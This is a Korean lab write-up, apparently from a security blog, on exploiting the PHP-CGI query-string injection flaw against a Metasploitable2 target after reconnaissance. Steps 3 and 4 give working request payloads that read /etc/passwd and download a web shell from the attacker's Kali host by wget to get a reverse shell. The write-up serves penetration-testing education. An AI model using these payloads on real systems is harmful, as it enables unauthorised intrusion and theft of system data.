모의해킹&웹취약점진단/모의해킹 개요

Mitre ATT&CK -Initial Access[PHP CGI 취약점]

sheow13 2023. 10. 31. 15:20
728x90

 

실습 환경

- metasploit2에서 진행

 

■ PHP CGI 취약점

- PHP 5.4.2 이전의 5.3.12, 5.4.x 버전에서 취약

- sapi/cgi/cgi_main.c에서 CGI 스크립트가 질의 문자열을 제대로 처리하지 못해 발생

- 해당 취약점을 이용하여 시스템의 중요 파일 다운로드 또는 웹쉘 업로드 등이 가능

- 주요정보통신기반시설 취약점 분석평가 中 4. 운영체제 명령 실행에 해당

- 공격자는 정보수집(정찰) 과정을 통해 획득한 정보로 초기 진입(Initial Access)을 진행하는 사례로, 시스템 보안 결함을 이용하여 공격을 진행(Exploit Public-Facing Application)하는 방식으로 침투 진행

- OWASP TOP 10 2021 中 A6. Vulnerable and Outdated Components(취약하고 지원이 종료된 구성 요소)에 해당

- 이번 실습에서 해당 취약점을 이용하여 리버스 쉘 획득이 목표

 

 ■ 진행 절차

Step 1. 정보수집 과정에서 Apache 버전 정보, 오래된 버전의 PHP 버전 사용, 관리자페이지 노출, 디렉토리 인덱싱, 불필요한 메소드 사용(Ex, Trace), 위치 공개 등의 취약점이 있는 것으로 확인. 

취약점 정보 수집 과정에서
발견된 정보
내 용
정보
노출
아파치 버전 정보 노출
- Apache/2.2.8
불필요한 메소드 사용
- TRACE
PHP 버전 노출
- PHP/5.2.4
- 웹 사이트 데이터가 노출되는 것으로 개발과정의 코멘트나 오류 메시지 등에서 중요한 정보가 노출되어 공격자에게 2차 공격을 하기 위한 중요한 정보를 제공하는 취약점
- 식별된 버전 정보 및 설정에 취약한 점을 이용한 공격을 진행할 수 있음
- 주요정보통신기반시설 취약점 분석평가 5. 정보누출 항목으로 존재
- 보안상 취약한 버전 사용 시 OWASP TOP 10 2021 A6. Vulnerable and Outdated Components(취약하고 지원이 종료된 구성 요소)에 해당
관리자 페이지
노출
phpmyadmin 페이지 노출
- /phpmyadmin/
- 웹 어플리케이션의 전반적인 기능 설정 및 회원 관리를 할 수 있는 관리자페이지가 추측 가능한 형태로 구성되어 있을 경우 공격자가 관리자페이지에 쉽게 접근을 할 수 있으며 무차별 대입 공격을 통하여 관리자 권한을 획득할 수 있는 취약점
- 주요정보통신기반시설 취약점 분석평가 24. 관리자 페이지 노출 항목으로 존재
- OWASP TOP 10 2021 A01. Broken Access Control(취약한 접근 제어) 항목으로 존재
위치
공개
phpinfo.php 파일 노출
- /phpinfo.php
- PHP 버전 및 설정 정보 등을 표 형태로 보여주는 phpinfo.php 파일 접근 가능한 것으로 확인
- 공격자는 이를 통해 PHP 버전, OS 버전, PHP 구성 사항, 내부 IP 주소, 서버 환경 구성 등의 정보를 획득하여 해당 버전에 취약한 공격을 통해 내부로 침투, 악성 파일 업로드, 중요 파일 다운로드 등이 가능
- 주요정보통신기반시설 취약점 분석평가 26. 위치 공개 항목에 해당
- OWASP TOP 10 2021 A01. Broken Access Control(취약한 접근 제어) 항목으로 존재
디렉토리
리스팅
디렉토리 리스팅 확인
- /test/
- 웹 어플리케이션을 사용하고 있는 서버의 미흡한 설정으로 인해 인덱싱 기능이 활성화 되어 있을 경우, 공격자가 강제 브라우징을 통해 서버내에 모든 디렉토리 및 파일에 대해 인덱싱이 가능하여 웹 어플리케이션 및 서버의 주요 정보가 노출될 수 있는 취약점
- 주요정보통신기반시설 취약점 분석평가 8. 디렉토리 인덱싱 항목으로 존재
- OWASP TOP 10 2021 Security Misconfiguration(보안 오류설정) 항목으로 존재

 

[NMAP 조회 결과 아파치 버전 노출]
[nikto 조회 결과, 버전 정보 노출, 관리자 페이지 노출 등의 취약점 확인]
[데이터베이스 관리 페이지인 phpmyadmin 접근 가능 확인]
[디렉토리 리스팅 취약점 확인]
[phpinfo.php 파일 접근 가능 확인]

 

Step 2. 발견된 정보 중 PHP 버전이 5.2.4인 것을 확인. 해당 버전에 수행할 수 있는 공격이 있는지 조회해본 결과, PHP CGI 취약점이 있는 것을 확인. PHP CGI 인젝션이 유효한지 확인하기 위해 PHP 코드가 실행되는지 확인을 위해 URL 뒤에 '?-s' 입력 시, 명령어가 실행됨을 확인.

PHP 질의 문자열 내용
-s 소스코드에 다른 색으로 변환 후 출력
-d php.ini 파일에 정의된 설정 값 조작
-n php.ini 파일 사용하지 않음

[searchsploit 조회 결과, 해당 버전에 수행할 수 있는 exploit 코드 있음을 확인]

 

[PHP CGI 취약점 여부 확인하기 위해 문자열 입력 시 정상 동작 확인]

 

Step 3. 웹 프록시인 burp suite를 사용하여 POST 메소드를 통해 리눅스 계정 정보를 담고 있는 '/etc/passwd' 조회 시, 공격 성공 확인

명령어 내용
allow_url_include=1 외부 URL 파일을 로드
auto_prepend_file HTTP 요청 바디에 있는 데이터 실행

 

 공격 구문

URL /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
BODY <?php $output = shell_exec('cat /etc/passwd'); echo "$output"; die;

 

[burp suite를 통해 PHP CGI 공격 시도]
['/etc/passwd' 파일 추출 성공 확인]

 

Step 4. 리버스 쉘 획득을 위해 kali에서 대기 후, wget 명령어를 통해 웹쉘 파일을 업로드 후 실행 시 리버스 쉘 획득 성공 확인

URL /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
BODY <?php $output = shell_exec('wget http://[Kali IP]/[웹쉘 파일]'); echo "$output"; die;

[burp suite를 통해 웹쉘 파일 업로드]
[웹쉘 설치한 경로로 이동 시 웹쉘 정상적으로 업로드 됨을 확인]
[리버스 쉘 획득 성공 확인]